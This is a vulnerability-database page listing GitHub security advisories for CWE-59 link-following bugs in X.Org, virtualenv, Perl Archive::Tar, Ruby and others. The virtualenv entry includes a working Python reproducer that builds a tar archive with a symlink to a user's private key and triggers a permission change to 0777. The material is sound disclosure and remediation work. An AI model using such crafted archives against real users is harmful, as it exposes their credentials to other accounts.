CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
2457 vulnerabilities reference this CWE, most recent first.
GHSA-43JF-FXQP-3QF7
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23The LockServer function in os/utils.c in X.Org xserver before 1.11.2 allows local users to determine the existence of arbitrary files via a symlink attack on a temporary lock file, which is handled differently if the file exists.
{
"affected": [],
"aliases": [
"CVE-2011-4028"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-07-03T19:55:00Z",
"severity": "LOW"
},
"details": "The LockServer function in os/utils.c in X.Org xserver before 1.11.2 allows local users to determine the existence of arbitrary files via a symlink attack on a temporary lock file, which is handled differently if the file exists.",
"id": "GHSA-43jf-fxqp-3qf7",
"modified": "2022-05-13T01:23:08Z",
"published": "2022-05-13T01:23:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4028"
},
{
"type": "WEB",
"url": "http://cgit.freedesktop.org/xorg/xserver/commit/?id=6ba44b91e37622ef8c146d8f2ac92d708a18ed34"
},
{
"type": "WEB",
"url": "http://lists.freedesktop.org/archives/xorg/2011-October/053680.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2012-0939.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/46460"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49579"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-43MP-35Q3-X3FQ
Vulnerability from github – Published: 2026-10-21 21:31 – Updated: 2026-10-21 21:31Summary
The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.
Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Permission recovery after a filesystem deletion error.
Attacker-controlled input
A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.
Affected code
The relevant 21.14.8 source is in safe_delete().
Mechanism
safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler
calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's
mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become
0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user;
root does not reach this failure path.
Reproduction and evidence
The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to
the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and
virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the
key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the
key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.
This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to
3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on
deletion failure and handles Windows read-only entries without following reparse points.
Attack sequence
sequenceDiagram
participant A as Prepared read-only venv tree
participant V as safe_delete error handler
participant L as Symlink in venv
participant K as User's 0400 key
A->>V: virtualenv venv or --clear venv
V->>L: unlink fails in 0555 directory
V->>L: lstat returns link mode 0777
V->>L: chmod follows symlink
L->>K: target mode becomes 0777
V-->>A: retry fails with PermissionError
Note over K: Other accounts can use new mode if parent paths are traversable
Reproducer files
The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path
NOBODY = 65534
work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)
# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)
# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)
def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
home = work / home_name
archive = work / archive_name
key = home / "keys" / "deploy.pem"
key.parent.mkdir(parents=True)
key.write_text("PRIVATE KEY\n")
key.chmod(0o400)
subprocess.run(["tar", "-xf", archive], cwd=home, check=True)
mode_before = stat.S_IMODE(key.stat().st_mode)
command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
# HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
result = subprocess.run(
command,
cwd=home / "proj",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
mode_after = stat.S_IMODE(key.stat().st_mode)
print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
return mode_before, mode_after
control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")
# check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")
repro.d/make_project_archive.py
#!/usr/bin/env python3
import sys
import tarfile
archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)
with tarfile.open(archive_path, "w") as archive:
python_folder = tarfile.TarInfo("proj/venv/bin/python")
python_folder.type = tarfile.DIRTYPE
python_folder.mode = python_folder_mode # without the write bit, unlinking an entry inside it fails with EACCES
archive.addfile(python_folder)
link = tarfile.TarInfo("proj/venv/bin/python/entry")
link.type = tarfile.SYMTYPE
link.linkname = "../../../../keys/deploy.pem" # the victim's key, beside the unpacked proj/
archive.addfile(link)
Impact
Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion failure to occur on a link and the invoking user to have permission to change the target mode.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains outside this protection.
Fix: PR #3427.
Known mitigation
Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before retrying with broader privileges.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "virtualenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.14.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113724"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T21:31:34Z",
"nvd_published_at": "2026-10-20T20:17:19Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermission recovery after a filesystem deletion error.\n\n## Attacker-controlled input\n\nA deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have\npermission to change the target mode. This is conditional error handling, not the normal successful unlink path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\n`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler\ncalls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link\u0027s\nmode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target\u0027s mode to become\n`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;\nroot does not reach this failure path.\n\n## Reproduction and evidence\n\nThe scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to\nthe user\u0027s mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and\n`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the\nkey\u0027s mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the\nkey at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.\n\nThis changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the\nwidened mode only if it can traverse the target\u0027s parent directories. The scanner dates the active error handler to\n#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on\ndeletion failure and handles Windows read-only entries without following reparse points.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared read-only venv tree\n participant V as safe_delete error handler\n participant L as Symlink in venv\n participant K as User\u0027s 0400 key\n A-\u003e\u003eV: virtualenv venv or --clear venv\n V-\u003e\u003eL: unlink fails in 0555 directory\n V-\u003e\u003eL: lstat returns link mode 0777\n V-\u003e\u003eL: chmod follows symlink\n L-\u003e\u003eK: target mode becomes 0777\n V--\u003e\u003eA: retry fails with PermissionError\n Note over K: Other accounts can use new mode if parent paths are traversable\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nNOBODY = 65534\n\nwork = Path(tempfile.mkdtemp(prefix=\"repro-safe-delete-\"))\nos.chmod(work, 0o755)\nos.chown(work, NOBODY, NOBODY)\n\n# the attacker\u0027s project archive (venv/bin/python read-only), and the same archive with that folder writable\nmake_archive = [sys.executable, \"/tmp/repro.d/make_project_archive.py\"]\nsubprocess.run([*make_archive, work / \"read-only.tar\", \"555\"], check=True)\nsubprocess.run([*make_archive, work / \"writable.tar\", \"755\"], check=True)\nsubprocess.run([\"tar\", \"-tvf\", work / \"read-only.tar\"], check=True)\n\n# from here on an ordinary user: root\u0027s unlink never fails, so safe_delete\u0027s error handler would never run\nos.setgroups([])\nos.setgid(NOBODY)\nos.setuid(NOBODY)\nos.umask(0o022)\n\n\ndef unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):\n home = work / home_name\n archive = work / archive_name\n key = home / \"keys\" / \"deploy.pem\"\n key.parent.mkdir(parents=True)\n key.write_text(\"PRIVATE KEY\\n\")\n key.chmod(0o400)\n subprocess.run([\"tar\", \"-xf\", archive], cwd=home, check=True)\n\n mode_before = stat.S_IMODE(key.stat().st_mode)\n command = [\"virtualenv\", \"--no-periodic-update\", \"-q\", *options, \"venv\"]\n # HOME is where virtualenv keeps its app-data; nobody\u0027s own, /nonexistent, cannot hold it\n result = subprocess.run(\n command,\n cwd=home / \"proj\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n mode_after = stat.S_IMODE(key.stat().st_mode)\n\n print(f\"{label} {archive_name}, `{\u0027 \u0027.join(command)}`: exit {result.returncode} {result.stdout.strip()}\")\n print(f\"{label} {key} mode {mode_before:#o} -\u003e {mode_after:#o}\")\n return mode_before, mode_after\n\n\ncontrol = unpack_next_to_key_and_run_virtualenv(\"CONTROL \", \"home-control\", \"writable.tar\")\ndefault = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-default\", \"read-only.tar\")\nclear = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-clear\", \"read-only.tar\", \"--clear\")\n\n# check: the key lives outside the destination; virtualenv has no business changing its mode\nprint(\"BUG\" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else \"OK\")\n```\n\n**`repro.d/make_project_archive.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nimport tarfile\n\narchive_path = sys.argv[1]\npython_folder_mode = int(sys.argv[2], 8)\n\nwith tarfile.open(archive_path, \"w\") as archive:\n python_folder = tarfile.TarInfo(\"proj/venv/bin/python\")\n python_folder.type = tarfile.DIRTYPE\n python_folder.mode = python_folder_mode # without the write bit, unlinking an entry inside it fails with EACCES\n archive.addfile(python_folder)\n\n link = tarfile.TarInfo(\"proj/venv/bin/python/entry\")\n link.type = tarfile.SYMTYPE\n link.linkname = \"../../../../keys/deploy.pem\" # the victim\u0027s key, beside the unpacked proj/\n archive.addfile(link)\n```\n\n## Impact\n\nPermission recovery after a failed deletion can change an unrelated target\u0027s access bits. This requires the deletion\nfailure to occur on a link and the invoking user to have permission to change the target mode.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that\nopens the entry itself without following reparse points and denies replacement until the attribute update finishes. It\nrejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains\noutside this protection.\n\nFix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427).\n\n## Known mitigation\n\nAvoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before\nretrying with broader privileges.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-UK90QC27.",
"id": "GHSA-43mp-35q3-x3fq",
"modified": "2026-10-21T21:31:34Z",
"published": "2026-10-21T21:31:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113724"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3427"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Deletion recovery can change a symlink target\u0027s mode"
}
GHSA-442G-3X58-F2RV
Vulnerability from github – Published: 2022-05-01 23:32 – Updated: 2022-05-01 23:32The init script for Apache Geronimo on SUSE Linux follows symlinks when performing a chown operation, which might allow local users to obtain access to unspecified files or directories.
{
"affected": [],
"aliases": [
"CVE-2008-0732"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-12T21:00:00Z",
"severity": "LOW"
},
"details": "The init script for Apache Geronimo on SUSE Linux follows symlinks when performing a chown operation, which might allow local users to obtain access to unspecified files or directories.",
"id": "GHSA-442g-3x58-f2rv",
"modified": "2022-05-01T23:32:39Z",
"published": "2022-05-01T23:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0732"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2008-02/msg00003.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28838"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-44R2-3246-R77P
Vulnerability from github – Published: 2025-07-30 18:31 – Updated: 2025-07-30 18:31Dell Encryption and Dell Security Management Server, versions prior to 11.11.0, contain an Improper Link Resolution Before File Access ('Link Following') Vulnerability. A local malicious user could potentially exploit this vulnerability, leading to privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2025-36611"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-30T17:15:27Z",
"severity": "HIGH"
},
"details": "Dell Encryption and Dell Security Management Server, versions prior to 11.11.0, contain an Improper Link Resolution Before File Access (\u0027Link Following\u0027) Vulnerability. A local malicious user could potentially exploit this vulnerability, leading to privilege escalation.",
"id": "GHSA-44r2-3246-r77p",
"modified": "2025-07-30T18:31:36Z",
"published": "2025-07-30T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36611"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000347824/dsa-2025-292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-44R9-882W-XW5M
Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18In Perl through 5.26.2, the Archive::Tar module allows remote attackers to bypass a directory-traversal protection mechanism, and overwrite arbitrary files, via an archive file containing a symlink and a regular file with the same name.
{
"affected": [],
"aliases": [
"CVE-2018-12015"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-07T13:29:00Z",
"severity": "HIGH"
},
"details": "In Perl through 5.26.2, the Archive::Tar module allows remote attackers to bypass a directory-traversal protection mechanism, and overwrite arbitrary files, via an archive file containing a symlink and a regular file with the same name.",
"id": "GHSA-44r9-882w-xw5m",
"modified": "2022-05-13T01:18:58Z",
"published": "2022-05-13T01:18:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12015"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2097"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Mar/42"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180927-0001"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT209600"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3684-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3684-2"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4226"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2019/Mar/49"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104423"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041048"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-459J-JHFX-FMJ6
Vulnerability from github – Published: 2023-04-11 03:31 – Updated: 2023-04-14 18:30Wacom Driver 6.3.46-1 for Windows and lower was discovered to contain an arbitrary file deletion vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-38604"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T01:15:00Z",
"severity": "HIGH"
},
"details": "Wacom Driver 6.3.46-1 for Windows and lower was discovered to contain an arbitrary file deletion vulnerability.",
"id": "GHSA-459j-jhfx-fmj6",
"modified": "2023-04-14T18:30:18Z",
"published": "2023-04-11T03:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38604"
},
{
"type": "WEB",
"url": "https://github.com/LucaBarile/CVE-2022-38604"
},
{
"type": "WEB",
"url": "https://lucabarile.github.io/Blog/CVE-2022-38604/index.html"
},
{
"type": "WEB",
"url": "https://lucabarile.github.io/Blog/blog.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-45CJ-CPR6-W4FH
Vulnerability from github – Published: 2026-01-29 21:30 – Updated: 2026-03-09 18:31Improper link resolution in USB HTTP access path in VX800v v1.0 allows a crafted USB device to expose root filesystem contents, giving an attacker with physical access read‑only access to system files.
{
"affected": [],
"aliases": [
"CVE-2025-15543"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-29T19:16:11Z",
"severity": "MODERATE"
},
"details": "Improper link resolution in USB HTTP access path in VX800v v1.0 allows a crafted USB device to expose root filesystem contents, giving an attacker with physical access read\u2011only access to system files.",
"id": "GHSA-45cj-cpr6-w4fh",
"modified": "2026-03-09T18:31:36Z",
"published": "2026-01-29T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15543"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/de/support/download/vx800v/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/faq/4930"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-45MC-HH26-869M
Vulnerability from github – Published: 2022-05-02 03:29 – Updated: 2022-05-02 03:29The configtest function in the Red Hat dhcpd init script for DHCP 3.0.1 in Red Hat Enterprise Linux (RHEL) 3 allows local users to overwrite arbitrary files via a symlink attack on an unspecified temporary file, related to the "dhcpd -t" command.
{
"affected": [],
"aliases": [
"CVE-2009-1893"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-07-17T16:30:00Z",
"severity": "MODERATE"
},
"details": "The configtest function in the Red Hat dhcpd init script for DHCP 3.0.1 in Red Hat Enterprise Linux (RHEL) 3 allows local users to overwrite arbitrary files via a symlink attack on an unspecified temporary file, related to the \"dhcpd -t\" command.",
"id": "GHSA-45mc-hh26-869m",
"modified": "2022-05-02T03:29:37Z",
"published": "2022-05-02T03:29:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1893"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2009:1154"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2009-1893"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=510024"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/51718"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11597"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6440"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35831"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1022554"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2009-1154.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35670"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-45Q7-7MRV-F7JR
Vulnerability from github – Published: 2022-05-17 01:41 – Updated: 2022-05-17 01:41openCryptoki 2.4.1 allows local users to create or set world-writable permissions on arbitrary files via a symlink attack on the (1) LCK..opencryptoki or (2) LCK..opencryptoki_stdll file in /var/lock/.
{
"affected": [],
"aliases": [
"CVE-2012-4455"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-10-10T18:55:00Z",
"severity": "MODERATE"
},
"details": "openCryptoki 2.4.1 allows local users to create or set world-writable permissions on arbitrary files via a symlink attack on the (1) LCK..opencryptoki or (2) LCK..opencryptoki_stdll file in /var/lock/.",
"id": "GHSA-45q7-7mrv-f7jr",
"modified": "2022-05-17T01:41:59Z",
"published": "2022-05-17T01:41:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4455"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=730636"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/78943"
},
{
"type": "WEB",
"url": "http://opencryptoki.git.sourceforge.net/git/gitweb.cgi?p=opencryptoki/opencryptoki%3Ba=commitdiff%3Bh=5667edb52cd27b7e512f48f823b4bcc6b872ab15"
},
{
"type": "WEB",
"url": "http://opencryptoki.git.sourceforge.net/git/gitweb.cgi?p=opencryptoki/opencryptoki;a=commitdiff;h=5667edb52cd27b7e512f48f823b4bcc6b872ab15"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/50702"
},
{
"type": "WEB",
"url": "http://sourceforge.net/mailarchive/message.php?msg_id=29191022"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/07/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/07/6"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/09/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/20/6"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/25/5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/09/27/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/55627"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-45WV-GC6W-FQ7M
Vulnerability from github – Published: 2022-05-17 05:30 – Updated: 2025-04-11 03:44The FileUtils.remove_entry_secure method in Ruby 1.8.6 through 1.8.6-420, 1.8.7 through 1.8.7-330, 1.8.8dev, 1.9.1 through 1.9.1-430, 1.9.2 through 1.9.2-136, and 1.9.3dev allows local users to delete arbitrary files via a symlink attack.
{
"affected": [],
"aliases": [
"CVE-2011-1004"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-03-02T20:00:00Z",
"severity": "MODERATE"
},
"details": "The FileUtils.remove_entry_secure method in Ruby 1.8.6 through 1.8.6-420, 1.8.7 through 1.8.7-330, 1.8.8dev, 1.9.1 through 1.9.1-430, 1.9.2 through 1.9.2-136, and 1.9.3dev allows local users to delete arbitrary files via a symlink attack.",
"id": "GHSA-45wv-gc6w-fq7m",
"modified": "2025-04-11T03:44:58Z",
"published": "2022-05-17T05:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1004"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=678913"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2012/May/msg00001.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-March/054422.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-March/054436.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/70958"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43434"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43573"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT5281"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:097"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2011/02/21/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2011/02/21/5"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2011-0909.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2011-0910.html"
},
{
"type": "WEB",
"url": "http://www.ruby-lang.org/en/news/2011/02/18/fileutils-is-vulnerable-to-symlink-race-attacks"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46460"
},
{
